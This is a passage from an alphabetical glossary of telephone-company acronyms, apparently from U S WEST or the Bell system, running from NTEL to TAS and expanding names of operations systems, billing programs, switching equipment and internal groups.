NTEL (2)           Network Terminal Equipment Center
		   Network Terminal Equipment Location
NTIA               National Telecommunications and Information Admin.
NTIB               Network Technology Integration Board
NTI                Northern Telecom Inc.
NTS (2)            Non-Traffic Sensitive
		   Network Technical Support
NXX                Central Office
NUA                Network Utilization Analysis
NVG                U S WEST New Vector Group, Inc.
NVP                U S WEST Paging
NVTS               National Vendor Tracking System
NYPS               National Yellow Pages Sales
NYPS/E             National Yellow Pages/Enhancements
OA                 Office Automation
OAAC               Office Administration Analysis Report
OACD               Office Automation Council of Denver
OAG (2)            Operations Analysis Group
		   Official Airlines Guide
OAR                Operator Access Reports
OAS (2)            Office Automation Services
		   Operator Administration System
OASIS              Order And Status Information System
OBJ                Objective Function
OBS                Outside Billing System
OC&C               Other Charges & Credits
OCAP               Operating Company Assignment Program
OCC                Other Common Carrier
OCCAM              A New Computer Language Suited to Parallel
		   Processing
OCCS               Order Control and Coordination System
OCDD               Operations Center Deliverable Documentation
OCI                Office Circuit Inventory
OCO                Overall Control Office
OCP                Optional Calling Plan
OCR (4)            Optical Card Reader
		   Optical Character Reader
		   Optical Character Recognition
		   Order Control Requirements
OCS (2)            Official Communication Service
		   Official Company Services
OCU                Office Channel Unit
ODA                Office Data Administration (#5ESS)
ODD                Optical Digital Disk
ODP                Organizational Design Program
ODS                Online Documentation System
ODSG               Office Drawing Services Group
OE (2)             Organizational Effectiveness
		   Originating (Line) Equipment
OECA               Oregon Exchange Carrier Association
OEM                Original Equipment Manufacturer
OFL                Overflow
OFNPS              Outside Facility Network Planning System
OIC                Online Image Copy
OIDCARD            Operator Idenfification Card
OIM                Office Information Management
OISC               Operations Implementation and Support Center
OIY                Orders Issued Yesterday
OJE                Occupational Job Evaluation
OL                 On Line
OLDS               On-Line Log Data Set
OLPR               TIRKS/Online Performance Reports (Renamed ORA)
OLTE               Optical Light Terminating Equipment
OLTEP              On Line Test Executive Program
OLTM               Optical Light Terminating Multiplexor
OLTS               Optical Loss Test Set
OMS                Operator Mark Sense
ONA                Open Network Architecture
ONAC (2)           Operations Network Administration Center
		   Off Network Access LIne
ONAL               Off Network Access Line
ONALS              Off Network Access Line Service
ONI                Operator Number Identification
OOCAT              Optical Order Channel and Alarm Telementry System
OP                 Operational Schedules
OPC                Out Pair Color
OPIA               Outside Plant Inventory Administrator
OPM                Originating Point Master
OPPEC              OSP Product Evaluation Committee
OPR SVCS           Operator Services
OPRNS              Operations
OPS (2)            Operations Systems
		   Order Processing System
OPS/INE            OPerations Support/Intelligent Network Element
OPS-M              Order Process System-Multistate
OPT                Operations Planning Team
OR                 Originating Register
ORA                TIRKS/Online Reports Access
ORBIT              Ordering, Receipting,Billing,Inventory Tracking System
ORDB               Operator Reference Data Base
ORI                Office Record Index
ORP                Originating Responsibility Plan
ORRS               On-Line Records and Reporting System
ORTT               Order of Repeatermen and Toll Testboardmen
OS (3)             Operating System
		   Operations System
		   Outgoing Sender
OS/VS              Operating System/Virtual Storage
OSAC               Operator Speed of Answer Consistency
OSAM               Overflow Sequential Access Method
OSAP               Operations System Architectural Plan
OSC (2)            Operating Service Center
		   Operator Service Center
OSCAP (2)          Operator Service Cost Analysis Program
OSCAPS             Operator Services Costs and Analysis Programs
OSD                Office Systems Development
OSFABS             Operator Services Functional Accounting Budget System
OSFAC              Operator Services Facilities Adminstration Center
OSFMC              Operator Services Force Management Center
OSHA               Occupational Safety and Health Administration
OSI                International Standards
OSIP               Open Switch Interval Protection
OSN                Operations Systems Network
OSOS               Online Service Order System
OSP (2)            Outside Plant
		   Operator Service Provider
OSP/CPR            Outside Plant/Continuing Property Record
OSPDBS             Outside Plant Demand and Facility Data Base System
OSPEC              Operator Services Planning and Engineering Center
OSPGRS             Outside Plant Graphics Record System
OSPI               Operator Services Planning Information System
OSPS               Operator Services Position System
OSS (2)            Operations Support System
		   Off The Shelf System (Or OTSS)
OSSP               Operations Systems Strategic Plan
OSTNP-1            Operator Services Traffic Network Plan Phase 1
OSTNPS             Operator Services Traffic Network Planning System
OSTP               Operations Systems Transition Plan
OSTR               Operational System Trouble Reporting
OSV                Outside Vendor
OSVS               Use OS/VS
OSZ                Outdial List Size
OTC (2)            Operating Telephone Company
		   Other Telephone Company
OTCCRS             Operating Telephone Company Centralized
		   Results System
OTDR               Optical Time Domain Reflectometer
0TPL               Zero Transmission Level Point
OTSS               Off The Shelf System (Or OSS)
OTTS               Outgoing Trunk Testing System
OVP                Overall Provisioning
P&E                Planning & Engineering
P/DS               Programming/Design Services
P/P                Point Of Presence (Or POP)
PA                 Payment Agency
PAC                Political Action Committee
PACE/MELD          Program for Arrgmt of Cables and Eqpmt/Mech
		   Engrg and Layout
PACO               Pole Attachment Conduit Occupancy
PACT               Product Availability Coordination Team
PADS               Planner's Analysis and Decision Support
PADS-MKTG          Personnel Administration Database-Marketing
PAEM               Payroll Allotments and Employee Master File
PAG                Planning Advisory Group
PAIR               Pair Available Increase Requirements
PAL (3)            Pricing And Loading
		   Productive Assignment of Labor
		   Public Access Line
PAM                Pulse Amplitude Modulation
PAR (2)            Payroll and Reports System
		   Personnel Action Request (form)
PARIS              Product And Revenue Information System
PARS               Payment Agency Reporting System
PART               Project And Resource Tracking
PASCAL             Programming Language for Minicomputers
PASS               Planning And Scheduling System
PATROL             Program for the Administration of Traffic
		   Reports On Line
PAYROLL (2)        Payroll Processing System (General System)
		   Payroll, Personnel System
PAYSOP             Payroll Based Employee Stock Ownership Plan
PBC                Peripheral Bus Computer
PBC4CB             Peripheral Bus Computer for No 4 Crossbar
		   Switching System
PBCSTP             Peripheral Bus Computer for CCIS Signal
		   Transfer Points
PBD                Place Buried Drop
PBLD               Passed Build
PBX                Private Branch Exchange
PBXPGMS            Dimension PBX Cost Analysis
PC (6)             Pricing Comparison
		   Peg Count
		   Personal Computer
		   Processor Controller
		   Public Communications
		   Provision Center
PCD                Programmable Communications Device
PCDB               Product Customer Data Base
PCDP               Product Classification Decision Package
PCF                Process Control Feature
PCID               Primary Circuit Identification
PCIPP              Public Communication Installation Performance Plan
PCIS               Plant Construction Information System
PCL                Product Classification Listing
PCM                Pulse Code Modulation
PCN                Personal Communications Network
PCNE               Processor Controller Network Element
PCO (2)            Plant Central Office
		   Plant Control Office
PCR                Payroll Change Request
PCS                Price Comparison Studies
PCSC               Public Consumer Services Dispatch
PCU                Public Communication Unit
PD                 Power Data Sheets
PDA (2)            Principal Divestiture Agreements
		   Problem Determination Aid
PDAC               Planning Design Access Code
PDB                Permanent Data Base
PDD (2)            Car Pool Administration
		   Post Dial Delay
PDF                Program Development Facility
PDIS               Procurement Decision Information System
PDN                Public Data Network
PDPR               Minicomputer, Manufactured By Digital
		   Equip Corp (DEC)
PDS (2)            Partioned Data Set
		   Product Data System
PDT                Pollable Data Terminal
PE                 Use P&E
PEC (2)            Process Entity Codes
		   Product Evaluation Center
PEDITE             Use TIRKS-PEDITE
PEERS              Power Engineering Equipment Records System
		   (No Longer Avail-WE System)
PEND               Procedure END
PENSFUND           Pension Fund Record Keeping and Reporting System
PENSIONS           Pension System
PERFORM            Personnel Force Management
PERT               Project Evaluation and Review Technique
PETE               Profile of Embedded Transmission Equipment
PF                 Program Function Key (CRT Keyboard Key)
PFM                Protector Frame
PFO                Planned Facility Order
PFS                Pension Field System
PGF                Product Group Folder
PGP                Pair Gain Planning
PGS                Pair Gain Systems
PHIN               Phoenix Interzone
PI (2)             Plug-In
		   Prototype Indicator
PI/INV             Plug-In Inventory Code
PIA (2)            Plug-In Administration
		   Project Impact Analysis
PIAC               Plug-In Administration Center
PIAT               Plug-In Availability Table
PIB                Programmer Information Bulletin
PIC (5)            Public Interest Committee
		   Predesignated Interexchange Carrier
		   Primary Interexchange Carrier
		   Pension Information Center
		   Presubscribed Interexchange Carrier
PICC               Plug-In Configuration Code
PICEE              Purification In Computer Engineering Environment
PICO               (Picosecond) A Millionth of a Millionth of a Second
PICS               Plug-In Inventory Control System
PICS/BARS          Plug-In Inventory Control Sys/Business Admin and Rcds
PICS/DCPR          Plug-In Inventory Control Sys/Detailed Continuing
		   Property Record
PICS/DRMA          PICS/DRMA Interface
PICS/REF           PICS Reference Files Maintenance System
PICSREF            Use PICS/REF
PID                Product IDentification (number)
PIE                Procurement Item Entry System
PIF                Page Insert Files
PIFC               Plug-In Function Code
PIINV              Use PI/INV
PIN                Personal Identification Number
PIPES              Program for Inventory Pipeline Estimation System
PIR                Perpetual Inventory Record
PISAM              Plug-In System Analysis Method
PIU                Percent Interstate Usage
PIX                Place It Cross-Connect
PJU                Pole Joint Usage
PL                 Private Line
PLAC               Planned Assignment Counter
PLANT              Plant Performance Data Gathering
PLDS               Private Line Digital Services
PLIAC              Private Line Investment and Annual Costs
PLID               Private Line Identification
PLIF               Partial Left-In Facility
PLL                Private Line Loops
PLOTCO             Private Line Other Common Carriers
PLPA               Pageable Link Pack Area
PLR (4)            Plant Location Record
		   Pole Location Records System
		   Pole Line Report
		   Private Line Ringdown
PLRMS              Plant Location Records Management System
PLS (2)            Premium List(TradeMark) Service
		   Private Line Service
PLSRP              Private Line Restoration Priority
PLTS               Private Line Transport Services
PLUM               Plant Utilization Management/Pair Available
		   Increase Req
PM                 Phase Modulation
PMO                Present Method of Operation
PMOC               Project Management Operations Center
PMP                Project Management Planning
PMS                Product Maintenance/Management System
PMSCC              Picturephone Meeting Service Control Center
PMSSS              Picturephone Meeting Service Support System
PMX                Projected Message Exchange
PNB IC             Pacific Northwest Bell Information Center
PO                 Purchase Order
POC                Point(s) Of Connection
POF (2)            Pending Order File
		   Planning Office of the Future
POI (3)            Point Of Interface
		   Point Of Interconnection
		   POInt of termination
POINT/EMR          Point/Extended Message Record
POLES              Pole Location Records System
POMAP              Public Operational Marketing Access Processor
POMS               Printed Output Management System
PON                Purchase Order Number
POP (2)            Point Of Presence (Or P/P)
		   Point Of Purchase
POR                Plan Of Reorganization
PORT               Payroll Output Replacement Team
POT                Point Of Termination
POTS               Plain Old Telephone Service
PP                 Parallel Processing
PPC                PICS Processing Code
PPD                Periodic Partial Distribution
PPI (2)            Planning Provisioning Interface
		   Perpetual Inventory
PPO                Preferred Provider Organization
PPS                Performance Planning System
PPSN               Public Packet Switched Network
PPSS               Public Packet Switched Service
PPTS               Point to Point Toll Studies
PQUARK             Programmable Quantizer Analyzer and Record Keeping
PRC                Procurement Resource Center
PRA (2)            Place Ready Access Terminal
		   Primary Rate Access
PREMIS             Premises Information System Premis Information/
		   Loop Assignment Center
PREMIS/LAC         PREMIS/Loop Assignment Center
PRI (2)            Property Record Item
		   Primary Rate Interface
PRILOG             Primary Recovery Log Data Set Record
PRIOLDS            Primary Online Log Data Set Record
PRISLDS            Primary System Log Data Set Record
PRISM              PeRsonnel Information SysteM
PRO (4)            Personnel Records Office
		   Personnel Records Organization
		   Performance Reporting Option
		   Product Revenue and Orders
PROC               Procedure
PROC LIB           Procedure Library
PROCDS             Programmable Circuit Design System (TIRKS)
PROFIT             Professional Financial Information Tools
PROFS              Professional Office Support System
PROM               Programmable Read-Only Memory
PROMDS             Programmable Message Design System (TIRKS)
PROMS              Provisioning Order Management System
PROSPIR            Property Records OutSide Plant and Inventory
		     Reconciliation
PRS (2)            Project Reporting System
		   Property Record System
PRSCOE             Property Records System Central Office Equipment
PRSOSP             Property Records System Outside Plant
PS                 Packet Switch
PS INCOME          Public Services-Income Study
PSA                Presubscription Allocation
PSAP               Public Safety Answering Point
PSB                Program Specification Block
PSC                Public Service Commission
PSCS               Production Software and Consulting Services
PSDS               Public Switched Digital Serivces
PSI                Packet Switching Interface
PSMS               Pre-Sales Study Management System
PSN                Public Switched Network
PSRC               Passed SouRCe
PSS                Personnel Subsystem
PSSP               Phonecenter Staffing and Sizing Program
PST (2)            Presubscription Support Team
		   Program Scan Testing
PSTN               Public Switched Telephone Network
PSW                Program Status Word
PTAR               Preliminary Technical Analysis Report
PTB                Place Terminal Block
PTCCO              Principal Telephone Company Central Office
PTD                Plant Test Date
PTF                Pending Transaction File
PTI                PICS/TIRKS Interface
PTIB               Product Technology Integration Board
PTIMA              Public Telephone Installation And Maintenance
PTIMC              Public Telephone Installation/Maintenance Center
PTIPP              Public Telephone Installation Performance Program
PTMS               Public Telephone Monitoring System
PTN                Public Telephone Network
PTS (2)            Personnel Tracking System
		   Pole Tracking System
PUB AFFR           Public Affairs
PUC (2)            Public Utilities Commission
		   Peripheral Unit Controller (Circuit Packs)
PUG                Provisioning User Group
PVN                Private Virtual Network
PVR (2)            Personal Vehicle Reimbursement
		   PIC Verification Report
PWB/UNIX           Programmer's Workbench
PWC                Plant Work Centering
PWS                Planning Work Station
PYCC               Piscataway Computer Center
QAS                Quality Assurance System
QISAM              Queued Indexed Sequential Access Method
QMF                Query Management Facility
QUASR              Quality Assuarnce Status Reports
QUICK              Standards Committee of the OPT Project
QWL                Quality of Work Life
RA                 Route Advance
RA/BS              RAtio to Busy Season
RABS               Use RA/BS
RAC (2)            Resource Allocation Council
		   Rearrange Access Codes
RACF               Resource Access Control Facility
RAF                Reports Administration Features
RAL                Repair Answering Location (formerly CRSAB)
RAM (4)            RAO (Revenue Accounting Office)
		   AMA (Automatic Message Accounting)
		   Mini Computer System
		   Random Access Memory
RAMIS (2)          Rapid Access Control Facility
		   Rapid Access Method Information System
RAMS (3)           Regional Account Manager Support
		   Remote Alarm Monitoring System
		   Regional Access Management System
RAND               Rural Area Network Design
RAO                Revenue Accounting Office
RAP                Regional Accounts Payable (system)
RAPUD              Revenue Analysis from Parametric Usage Description
RAQ                Revenue Accounting Office
RAS                Routing Assignment System
RASC               Residence Account Service Center
RASIR              RAdio Systems Information Resource
RATES              Rate and Route Display System for Operator Positions
RBCS               Record Base Coordination Center
RBMSR              Residence Business Marketing Sales Report
RBOC               Regional Bell Operating Company
RC (3)             Responsibility Code
		   Responsibility Center
		   Recent Change
RCAPS              Residence Customer Analytic Profile System
RCBS               Regional Chargeback Billing System
RCC (2)            Radio Common Carrier
		   Responsibility Code Charged
RCDB               Rate Case Data Base
RCF                Remote Call Fowarding
RCM                Release Complete Message
RCMAC              Recent Change Memory Administration Center
RC-O               Responsibility Code-Originator
RCP                Routing Control Point
RCS                Remote Computer Services
RCU (2)            Remote Console Unit
		   Remote Control Unit
RD                 Reverse Directory
RDA (3)            Reference Data Administration
		   Remote Dial Access
		   Remote Diagnosis Access
RDB                Revenue Data Base
RDBS               Routing Data Base System
RDDS               Residence Direct Delivery System
RDES               Remote Data Entry System
RDS (5)            Report Distribution System
		   TNDS/Reports Distribution System
		   Reference Data System
		   Repetitive Debt System
		   TIRKS/Reports Distribution System
RDT (2)            Radio Digital Terminal
		   Routine and Demand Test
REACT (2)          Retirement Equity Act of 1984
		   Regional Evaluation And Classfication
		   Tracking System
READ               Remotely Accessible Data Terminal
REBANS             Regional Enhanced Billing and Netting Statement
REBUD              Rehabilitation Budgeting Program
REC                Radio Engineering Center
RECON              Recovery Control
RECOV              Recovery
RECOVPD            Recovery Period
REF                Use TIRKS-C1/REF or TIRKS E1/REF
REF/AUD            Reference Audit System
REFAUD             Use REF/AUD
REG (2)            FCC Registration
		   Range Extension with Gain
REGIS              Requisition Entry and General Inventory System
REIMS              Real Estate Information Management System
REN                Remote Equipment Number
RES/SCA            COE and Outside Plant Forecasting
RESCAPS            Residence Customer Analytical Profile System
REVGEN2            Revenue Modeling
REVS               Revenue Evaluation System
RF                 Radio Frequency
RFMC               Regional Facility Management Center
RFP                Request For Proposal
RHC                Regional Holding Company
RHITS              Regional Hardware Inventory Tracking System
RI                 Revenue Interface
RICS               Reuse Inventory Control System
RID                Record Issue Date
RIM (2)            Relational Information Management
		   Revenue Information Management
RIMS               Reuse Inventory Management System
RIP                Raster Image Processor
RISC               Reduced Instruction Set Computer
RISM               Revenue In-Service and Movement
RISSI              Regional Information Systems Software Inventory
RIT (3)            Recon-Intialization Time Stamp
		   Release Integration Test
		   Runbook Interface Tools
RIVAL              Revenue-Intercity Vulnerability Analysis
RIX                Disconnect It Cross-Connect
RJE                Remote Job Entry
RJI                Revenue Journal Interface
RJP                Remote Job Processing
RLCM               Remote Line Concentrator Module
RLDS               Recovery Log Data Set
RLTF               Radio Line Terminating Frame
RM                 Release Message
RMA                Request For Manual Assistance
RMAF               Remote Multiple Access Facility
RMAP               Remote Memory Administration Position
RMAS               Remote Memory Administration System
RMATS              Remote Maintenance Administration and Traffic System
RMATS-1            Remote Maintenance Administration and Traffic
		   System-1
RMATS-2            Remote Maintenance Administration and Traffic
		   System-2
RMC                Residence Marketing Center
RMDS               Report Management and Distribution System
RMIE               Regional Marketing Information Environment
RMMS               Regional Maintenance Management System
RMN                Return Material Notice
RMIS               Regional Material Inventory System
RMS                root-mean-square
RN                 Referred In
RNMC               Regional Network Management Center
ROC (3)            Real Estate Operations Center
		   Regional Operations Center
		   Regional Oversight Committee
		   Residence Order Center
ROGT               Remote Outgoing Trunk Unit
ROM                Read-Only Memory
ROMMS              Residence Office Methods Management System
ROTL               Remote Office Test Line
ROTR               Receive Only Typing Reperforator
ROUTE              Route Administration
ROW                Right Of Way
RPEC               Regional Product Evaluation Committee
RPFT               Remote Power Feed Terminal
RPG                Report Program Generator
RPL                Restructure Private Line
RPMS (2)           Radio Performance Monitoring System
		   Radio Protection Monitoring System
RPP                Regional Policy and Procedures
RPPP               Reassignment Pay Protection Plan
RQS                Rate Quote System
RR                 Rate Reference
RRCS               Regional Remote Computing Services
RRO                Responsible Reporting Office
RRRS               Route Relief Requirements System
RRSC               Residence Retail Sales Center
RS                 Reservation Service
RSA (3)            Regional Sharing Agreement
		   Repair Service Answering
		   Rural Service Area
RSB                Repair Service Bureau
RSBS               Regional Small Business Systems
RSC (3)            Residence Sales Center
		   Remote Switching Center
		   Residence Service Center
RSFM               Residence Segment Financial Model
RSPT               Regional Systems Planning Team
RSM                Remote Switching Modules
RSRS               Residence Sales Report System
RSS (2)            Remote Switching System
		   Regional Subscription System
RSTAR              Regional System for Tracking and Administering
		       (Procurement) Requests--formerly STAR
RSTC               Routing Selected Transmission Control
RSU                Remote Switch Unit
RTA                Remote Trunk Arrangement
RTACC              Regional Technical Assistance Cont Center
RTC                Remote Terminal Controller
RTE                Report To Employees
RTM                Response Time Management
RTM-IBM            Response Time Management-IBM Phase
RTS                Remote Test System
RTTU               Remote Trunk Test Unit
RTTU/CTTU          Remote Trunk Test Unit/Centralized Trunk Test Unit
RTU                Right To Use
RUND               Run Draft (Generates Run Books)
RWG                Responsible Work Group
S&E RATING         Service & Equipment Rating for Customer Billing
S/N                Signal to Noise
SA (3)             Systems Administration
		   Special Arrangement
		   Service Area
SAC (2)            Serving Area Concept
		   Strategic Air Command
SACCS              Strategic Air Command Control System
SAD                Street Address Directory
SAF (2)            Store And Forward System
		   Service Area Function
SAFE               Store And Forward Element
SAG                Street Address Guide
SAINT              Sales Aids Integration System
SAM (2)            Special Accounts Mechanization
		   Sequential Access Method
SAOBS              Sales Aid Ordering and Billing System
SAR                Summary Annual Report
SARTS              Switched Access Remote Testing System
SARTS/PC           Switched Access Remote Testing System Process
		   Controller
SARTS/RTS          Switched Access Remote Testing System/Remote
		   Test System
SAS (5)            Systems Administration Service
		   Separations Analysis System
		   Statistical Analysis System
		   Statistical Analysis Software
		   Switched Access Service
SASMAP             Dataphone Select-A-Station (DSAS)
		   Market Analysis Program
SASS               Sickness Absence Summary System
SAV                Statistically Adjusted Value
SAWG               Switching Administration Work Group
SBC                Strategic Business Council
SBS (4)            Small Business Systems
		   Satellite Business Systems
		   Small Business Systems Process Controller
		   Small Business Services
SBU                Strategic Business Unit
SC-EACS            Service Costs-Economic Analysis and Comparison
SCA                Signal Converter Alloter
SCADDS             Service Cost Analysis of Dataphone
		   Digital Service
SCAM               Switch Control And Monitor
SCAM/USOC          System Code Administration and Maintenance
SCANS              Software Change Administration and Notification
		   System
SCANTEL            An On-Line Listing Access System
SCAR               Series Completion Assignmnet Request
SCATS              Service Control And Tracking System
SCC (2)            Switching Control Center
		   State Corporation Commission
		   Switching Control Center
SCC-EMS            Switching Control Center-Electromechanical Systems
SCC-SPCS           Switching Control Center-Stored Program Control
		   Systems
SCC/DMS-200        Switching Control Center/DMS 100 and 200
SCCANS             Synchronized Code Control And Notification
SCCP               Signaling Connection Control Port
SCCS (2)           Switching Control Center System
		   Source Code Control System
SCCS NO. 2         No. 2 Switching Control Center System
SCD                Selective Carrier Denial
SCDN               Shared Corporate Data Network
SCEACS             Use SC-EACS
SCI                SOAC Controlled Input
SCID               Secondary Circuit Identifier
SCIS               Switching Cost Information System
SCN                Sub-Core Network
SCO (2)            SOAC Controlled Output
		   System Control Office
SCOPE              Special Convention Operation Package Equipment
SCOPES             Switching And Central Office Planning and
		   Engineering System
SCOTS              Surveillance and Control Of Transmission Systems
SCP                Service Control Point
SCS                Scheduling and Coordination System
SCSR               SOAC Controlled Service Requisition
SCU                System Control Unit
SD                 Schematic Drawing
SDB                Sickness Disability Benefits
SDC (3)            System Design Center
		   System Design Consultant
		   Sales Development Ctr-Bus Svc Ctr
SDDF               Subscriber Digital Distributing Frame
SDDS               Switched Digital Data System
SDLC               Synchronous Data Link Control
SDM (2)            Source Document Micrographics
		   Space Division Multiplexing
SE                 Special Equipment
SEA (2)            Secondary Entity Access
		   Secondary Entity Allocation System
SEAS               Signal Engineering Administration System
SEATS              Scheduled Enrolling And Tracking System
SEC (2)            Service Evaluation Center
		   System Entity Code
SECLOG             Secondary Recovery Log Data Set Record
SECOLDS            Secondary Online Log Data Set Record
SECSLDS            Secondary System Log Data Set Record
SEL                Sales Expansion Line
SEPMOD             Separations Planning Model
SEPSTAT            Separations Planning Model-Statistics
SER                Series Completion Directory Number
SERS               Service Evaluation Results System
SES                Service Evaluation System
SES NO. 1A         Service Evaluation System No. 1A
SES NO. 2          Service Evaluation System No. 2
SESKED             Service Evaluators Scheduling
SESOR              Service Evaluation System Output Results
SF (2)             Single Frequency (Signaling)
		   Spare Facility
SFG                Simulated Facility Group Number
SGN                Common Language Segment Number
SHARECTL           Share Control
SHARP              Self-Healing Alternate Route Protection
SHNS               Self-Healing Network Services
SHS                Self-Healing Services
SI (2)             Service Interface
		   Service Integration
SIC                Standard Industrial Code
SID                Scheduled Issue Data
SIDB               Signal Intercept Data Base
SIE                System Integrity Edits
SIEDS              Shared Interactive Eletronic Distribution System
SIFC               SOPAD Interface File Creation
SIMS               Safety Information Management System
SIN                Strategic Integrated Network
SIPP               Supplemental Income Protection Program
SIPU               Screen Image Print Utility
SIR                Standard Internal Record
SIS                Separations Information System
SITB               Systems Integration Technology Board
SL                 Short-Lead Connect
SLAP               Single Location Aggregative Process
SLC (2)            Subscriber Loop Carrier
		   Subscriber Line Charge
SLC96              Subscriber Loop Carrier
SLDS               System Log Data Set
SLI                U S WEST Service Link Inc
SLID               Stocking Location Identification
SLIM               Subscriber Line Interface Module
SLIP               Subscriber Loop Improvement Plan
SLM                Subscriber Loop Multiplexer
SLNT               Shortened Lives for New Technology
SLUS (4)           Subscriber Line Usage Studies
		   Subscriber Line Usage System
		   Subscriber Line Usage System II
		   Subscriber Line Usage System VI
SM                 Service Manager
SMA (2)            Service Management System
		   Standard Metropolitan Statistical Area
SMACS              System For Medical Administration And Clinical
		   Statistics
SMART              Software Management And Reporting Tool
SMARTS             Sample Message And Revenue Timeshare System
SMAS               Switched Maintenance Access System
SMC                State Management Council
SMCC               Switching Management Control Center
SMDF               Subscriber Main Distribution Frame
SMDS               Switched Multi-megabit Data Service
SME                Subject Matter Expert
SMETDS             Standard Message Trunk Design System
SMF                System Management Facilities
SMFAS              Simplified Modular Frame Assignment System
SMS (2)            Scoopline Market Study
		   Service Management System
SMSA               Standard Metropolitan Statistical Area
SMU                Strategic Marketing Unit
SN56               SwitchNet 56
SNA                Systems Network Architecture
SNAC               Standard Network Annual Cost
SNAP               Syndicated Network Audience Processor
SNC                Software Network Capability
SNCC               Signaling Network Control Center
SNFA               Shared Network Facilities Agreement
SNI (3)            SNA Network Interconnection
		   Standard Network Interface
		   Subscriber Network Interface
SO                 Service Order
SOA                Speed of Order Assignment
SOAC               Service Order Analysis and Control
SOADS              Service Order Assignment and Distribution System
SOAS               Service Order Aging System
SOCC               Switching Office Control Center
SOE                Standard Operating Environment
SOEC               Service Order Entry Center
SOEC-SS            Service Order Entry Center-Special Services
SOEC/SS            Service Order Entry/Special Services
SOFI               System for Operational and Financial Integration
SOG (2)            Service Order Generator
		   System Operations Guide
SOI                Speed of Order Issuance
SOLAR              Service Order Logistics And Reference system
SOLER              Selection and Optimized LEap Report
SOLID              System for On Line Documentation
SOLTS              Small Office Loop Testing
SOM                Service Observing Month
SOMS               Service Order Mechanization System
SONAR              Service Order Negotiation And Retrieval System
SONDS              Small Office Network Data System
SONET (2)          Synchronous Optical Networks
		   Switched Optical NETwork
SONG               Service Order Number Generator
SOP                Service Order Processing
SOPAD              Service Order Processing And Distribution
SOPAD/FACS         SOPAD/Facilities Assignment and Control
SOPI               Service Order Processing Interface
SOPO               Support Of Project Orders
SOPP               System Optimization Pricing Program
SORD               Service Order Retrieval (Or Routing) and Distribution
SORP               Service Order Routing & Processing
SOS (2)            Short Outage System
		   Systems On-line Support
SOSS               Sample Office Seletion System
SOST               Special Operator Services-Traffic
SOT                Service Order Tracking
SOT/OFCL           Service Order Tracking/Official Service Only
SOUNDS             Small Office Network Data System
SP                 Signaling Points
SPA                Sequential Projection Algorithm
SPAC               Switching Point Access Channel
SPAR               Selected Products Activity Report
SPARS              Service and Product Analysis Report System
SPARTON            Sparton 5300
SPC                Strategic Planning Council
		   Stored Program Control
SPCS               Stored Program Control System
SPCS-COER          Stored Program Control Systems-Central Office
		   Equipment Reports
SPCSS              Stored Program Control Systems Switching Systems
SPD                Summary Plan Description
SPF (2)            Structured Programming Facility
		   System Productivity Facility
SPL (4)            Separate Product Line
		   Separate Project Line
		   Special Service (Or SS)
		   Standard Product Line
SPLIT              Separate Product Line Implementation Team
SPOC               Single Point Of Contact
SPOS               Switch Plan and Order System
SPS                Systems Planning & Support
SPUC/DL            Serial Peripheral Unit Controller/Data Link
SQA                System Queue Area
SQS                Sales Query System
SR                 Service Request
SRC                Service Request Confirmation
SRCP               System Release Control Procedures
SRL                Singing Return Loss
SRM (2)            Selective Ringing Module
		   System Resources Manager
SRP                Set Recovery Plan
SS (3)             Special Services
		   Special Service Circuit
		   Switching System
SS7                Signaling System 7
SSAC (2)           Special Service Administration Center for
		   Special Service Centers
		   Support Services Council
SSC                Special Services Center
SSCAG              Special Service Center Administration Guide
SSCG               Special Services Circuit Generator
SSD                Software Subsystem Description
SSDAC              Special Service Dispatch Administration Center
SSF                Special Services Forecast
SSFOG              Special Services and Facilities Operations Group
SSFS               Special Services Forecasting System
SSFS/CHAT          Special Services Forecasting System/Churn
		   Analysis Tool
SSHOR              Special Services Held Orders Report
SSI (2)            Standard Supply Items on Wang
		   Standard Supply Item (Lookup) (MRI)
SSM                State Separations Model
SSMB (2)           Special Service Mechanized Billing
		   Special Services Maintenance Bureau
SSMMP              Special Services Maintenance Measurement Plan
SSN (2)            Social Security Number
		   Switched Service Network
SSN/EPSCS          Switched Service Network/Enhanced Private
		   Switched Comm System
SSP (3)            U S WEST Savings and Security Plan (Occupational)
		   Service Switching Point
		   Special Service Protection
SSPMP (2)          Special Service Performance Measurement Plan
		   Special Service Provisioning Measurement Plan
SSS (3)            System Software Support
		   Special Services System
		   SMDS Switching System
SSS/MAPSS          Measurement Analysis Plan Special Services
SSSD               Segmented Special Services Design
SSU                Specialized Service Unit
SSU/SOEC           Specialized Service Unit/Service Order Entry Center
SSWG               Special Services Work Group
SSWS               Special Services Work Station
ST                 Systems Test
STAIRS             STorage And Information Retrieval System
STAP               STation APparatus Information System
STAR (2)           System for Tracking and Administration Requests
		   System Tester Activity Report
STARS (3)          Sampled Traffic Analysis Report System
		   Sales Tactics And Revenue Support
		   Satellite Terrestrial Automated Radio System
STATLIB            Statistical Computing Library
STATOC             Service and Technology Analysis with Task
		   Oriented Costing
STATPAK            Statistical Package
STATS              Station Statistics Related to Customer Services
STC (2)            Serving Test Center
		   Special Service Test Centers
STEC               Segment Training and Education Council
STF                System Test Failed
STIMS              Special Tool Information Management System
STM                Synchronous Transfer Mode
STN                Screening Telephone Number
STOC               Serving Television Operating Center
STP (4)            Signaling Test Point
		   Signal Transfer Points
		   System Test Passed
		   Service Transfer Point
STS (2)            Shared Tenant Services
		   System Technical Support
SUDS               Supplementary Data System
SUMS               Separations Update and Maintenance System
SUN                Simplified Uniform Network
SURF               Service Units Reference File
SURP               Service Units Reference File
SUT                System Under Test
SVCS               Services
SWA                Sharedwork Agreement
SWAL               Switched Access Line
SWAT (2)           Scientific WATS Analysis Techniques
		   Scientific WATS Design Techniques
SWC                Serving Wire Center
SWG                Systems Work Group
SWIFTRAN           Program Transmission System
SWT                Standard Work Time
SXS                Step By Step
SXS COER           Step by Step Central Office Reports
SYAD               SYstem ADdown 55ation (Administrator)
SYS                Systems
SYSGEN             System Generation
SYSIN              System Input
SYSOUT             System Output
SYSSPT             System Support
T&M                Time & Materials Charges
T&P                Transfer & Promotion
T-TRAN             Bulk Data Transmission Over Dedicated 50kb Telephone
		   Line
T/Q                Terminating/Originating Ratio
T/S                Time Share
TA (2)             Technical Advisory
		   Toll and Assistance
TAC (2)            Telephone Activity Center
		   Terminal Assignment Card
TACS               TIRKS Audit and Correction System
TAD                TIRKS Automated Documentation
TAE                Telemarketing Account Executive
TAG                TIRKS Analysis Group
TAMP               Trunk Administration Measurement Plan
TAN                Technician Access Method
TAR (4)            Technical Analysis Report
		   Terminal Access Reports
		   Trunk Augment Report
		   Tax ARea
TARP               Technical Analysis and Requirements Process
TAS (2)            Trunk Assignment System
		   Tables and Application Support
